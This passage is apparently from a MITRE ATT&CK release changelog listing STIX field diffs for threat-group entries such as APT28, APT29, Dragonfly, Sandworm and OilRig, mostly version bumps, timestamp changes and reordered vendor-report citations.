| external_references[13]['description'] | Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. |
| external_references[13]['url'] | https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
| external_references[14]['source_name'] | FireEye APT10 Sept 2018 | PWC Cloud Hopper April 2017 |
| external_references[14]['description'] | Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. | PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. |
| external_references[14]['url'] | https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html | https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Cicada | |
| aliases | POTASSIUM | |
| external_references | {'source_name': 'FireEye APT10 April 2017', 'description': 'FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html'} | |
| external_references | {'source_name': 'Symantec Cicada November 2020', 'description': 'Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage'} | |
| external_references | {'source_name': 'Accenture Hogfish April 2018', 'description': 'Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.', 'url': 'https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf'} | |
| external_references | {'source_name': 'FireEye APT10 Sept 2018', 'description': 'Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html'} |
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 23:32:21.793000+00:00 | 2021-04-19 21:59:12.033000+00:00 |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3) | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[31]['source_name'] | Microsoft STRONTIUM Aug 2019 | TrendMicro Pawn Storm Dec 2020 |
| external_references[31]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[31]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| external_references[32]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | Microsoft STRONTIUM Aug 2019 |
| external_references[32]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. |
| external_references[32]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ |
| x_mitre_version | 3.0 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 2.4
Version changed from: 2.3 → 2.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-29 21:45:34.984000+00:00 | 2021-04-20 03:36:35.066000+00:00 |
| external_references[1]['description'] | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017) | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[3]['description'] | (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017) | (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[4]['description'] | (Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017) | (Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| x_mitre_version | 2.3 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET OceanLotus Mar 2019', 'description': 'Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.', 'url': 'https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/'} | |
| external_references | {'source_name': 'Amnesty Intl. Ocean Lotus February 2021', 'description': 'Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.', 'url': 'https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 20:54:52.793000+00:00 | 2021-04-26 13:16:28.738000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-06 18:12:23.832000+00:00 | 2021-04-20 17:57:07.909000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:22:39.895000+00:00 | 2021-04-26 13:17:57.921000+00:00 |
| external_references[6]['url'] | https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ | https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/ |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:41:51.510000+00:00 | 2021-04-26 13:27:29.519000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:43:39.280000+00:00 | 2021-03-04 21:59:44.333000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:58:36.955000+00:00 | 2021-03-02 22:40:11.097000+00:00 |
| external_references[6]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| x_mitre_version | 1.1 | 1.2 |
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 00:44:24.198000+00:00 | 2020-12-28 21:20:50.959000+00:00 |
| x_mitre_version | 3.0 | 3.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Thijn Bukkems, Amazon'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 15:32:20.089000+00:00 | 2021-04-26 12:52:34.528000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 16:21:21.624000+00:00 | 2021-03-18 16:34:25.941000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 23:58:28.015000+00:00 | 2021-04-22 00:39:49.529000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:20:55.380000+00:00 | 2020-11-23 18:57:19.208000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:39:02.606000+00:00 | 2021-02-22 14:34:20.386000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:47:04.337000+00:00 | 2021-04-20 19:17:12.538000+00:00 |
| external_references[12]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/ | https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/ |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-29 03:23:27.843000+00:00 | 2021-04-26 14:15:15.610000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 13:46:14.122000+00:00 | 2021-04-26 14:37:33.234000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-10 19:06:49.687000+00:00 | 2020-12-29 17:45:44.841000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:48:29.397000+00:00 | 2021-02-09 13:56:34.975000+00:00 |
Current version: 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 01:47:03.155000+00:00 | 2021-02-09 13:52:16.312000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 16:59:26.732000+00:00 | 2021-04-21 16:41:34.724000+00:00 |
| external_references[4]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-15 15:44:47.629000+00:00 | 2021-02-09 13:51:14.393000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-17 21:11:30.305000+00:00 | 2021-02-09 13:49:09.605000+00:00 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly | t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| > | is a cyber espionage group that has been active since at le | > | r espionage group that has been active since at least 2011. | ||
| > | ast 2011. They initially targeted defense and aviation compa | > | They initially targeted defense and aviation companies but s | ||
| > | nies but shifted to focus on the energy sector in early 2013 | > | hifted to focus to include the energy sector in early 2013. | ||
| > | . They have also targeted companies related to industrial co | > | They have also targeted companies related to industrial cont | ||
| > | ntrol systems. (Citation: Symantec Dragonfly)(Citation: Secu | > | rol systems. (Citation: Symantec Dragonfly)(Citation: Secure | ||
| > | reworks IRON LIBERTY July 2019) A similar group emerged in | > | works IRON LIBERTY July 2019) A similar group emerged in 20 | ||
| > | 2015 and was identified by Symantec as [Dragonfly 2.0](https | > | 15 and was identified by Symantec as [Dragonfly 2.0](https:/ | ||
| > | ://attack.mitre.org/groups/G0074). There is debate over the | > | /attack.mitre.org/groups/G0074). There is debate over the ex | ||
| > | extent of the overlap between [Dragonfly](https://attack.mit | > | tent of the overlap between [Dragonfly](https://attack.mitre | ||
| > | re.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitr | > | .org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre. | ||
| > | e.org/groups/G0074), but there is sufficient evidence to lea | > | org/groups/G0074), but there is sufficient evidence to lead | ||
| > | d to these being tracked as two separate groups. (Citation: | > | to these being tracked as two separate groups. (Citation: Sy | ||
| > | Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2. | > | mantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 | ||
| > | 0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:42:00.531000+00:00 | 2021-04-06 18:40:51.440000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:15:00.553000+00:00 | 2021-02-09 13:54:32.541000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-31 15:10:22.189000+00:00 | 2021-01-20 22:20:20.981000+00:00 |
Current version: 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:06:47.872000+00:00 | 2021-02-09 14:24:38.071000+00:00 |
Current version: 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-07 18:49:43.973000+00:00 | 2021-03-29 19:54:46.340000+00:00 |
| external_references[9]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-04 23:31:36.937000+00:00 | 2021-02-09 14:34:04.242000+00:00 |
Current version: 0.0
This object has been revoked by [G0016] APT29
Description for [G0016] APT29: [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021) In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)
| STIX Field | Old value | New Value |
|---|---|---|
| created_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| description | [UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds) | |
| aliases | ['UNC2452', 'Solorigate', 'StellarParticle', 'Dark Halo'] | |
| object_marking_refs | ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'] | |
| x_mitre_contributors | ['Katie Nickels, Red Canary', 'Matt Brenton, Zurich Insurance Group'] | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-25 17:29:14.599000+00:00 | 2021-04-19 14:20:45.917000+00:00 |
| revoked | False | True |
| external_references[2]['source_name'] | Solorigate | NOBELIUM |
| external_references[2]['description'] | (Citation: Microsoft Analyzing Solorigate Dec 2020) | (Citation: MSTIC NOBELIUM Mar 2021) |
| external_references[7]['source_name'] | Microsoft Analyzing Solorigate Dec 2020 | MSTIC NOBELIUM Mar 2021 |
| external_references[7]['description'] | MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021. | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. |
| external_references[7]['url'] | https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/ | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ |
Current version: 1.0
Description: [Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)
Current version: 2.0
Description: [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)
Current version: 1.1
Description: [Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 23:32:21.793000+00:00 | 2021-04-19 21:59:12.033000+00:00 |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3) | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[31]['source_name'] | Microsoft STRONTIUM Aug 2019 | TrendMicro Pawn Storm Dec 2020 |
| external_references[31]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[31]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| external_references[32]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | Microsoft STRONTIUM Aug 2019 |
| external_references[32]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. |
| external_references[32]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ |
| x_mitre_version | 3.0 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 2.0
Version changed from: 1.4 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 23:59:31.684000+00:00 | 2021-04-26 12:59:49.642000+00:00 |
| external_references[2]['source_name'] | IRN2 | COBALT GYPSY |
| external_references[2]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[3]['source_name'] | HELIX KITTEN | IRN2 |
| external_references[3]['description'] | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[4]['source_name'] | APT34 | HELIX KITTEN |
| external_references[4]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[5]['source_name'] | Palo Alto OilRig April 2017 | APT34 |
| external_references[5]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) |
| external_references[6]['source_name'] | ClearSky OilRig Jan 2017 | Palo Alto OilRig April 2017 |
| external_references[6]['description'] | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[6]['url'] | http://www.clearskysec.com/oilrig/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[7]['source_name'] | Palo Alto OilRig May 2016 | ClearSky OilRig Jan 2017 |
| external_references[7]['description'] | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. |
| external_references[7]['url'] | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ | http://www.clearskysec.com/oilrig/ |
| external_references[8]['source_name'] | Palo Alto OilRig Oct 2016 | Palo Alto OilRig May 2016 |
| external_references[8]['description'] | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ |
| external_references[9]['source_name'] | Unit 42 Playbook Dec 2017 | Palo Alto OilRig Oct 2016 |
| external_references[9]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. |
| external_references[9]['url'] | https://pan-unit42.github.io/playbook_viewer/ | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ |
| external_references[10]['source_name'] | FireEye APT34 Dec 2017 | Unit 42 Playbook Dec 2017 |
| external_references[10]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://pan-unit42.github.io/playbook_viewer/ |
| external_references[11]['source_name'] | Unit 42 QUADAGENT July 2018 | FireEye APT34 Dec 2017 |
| external_references[11]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
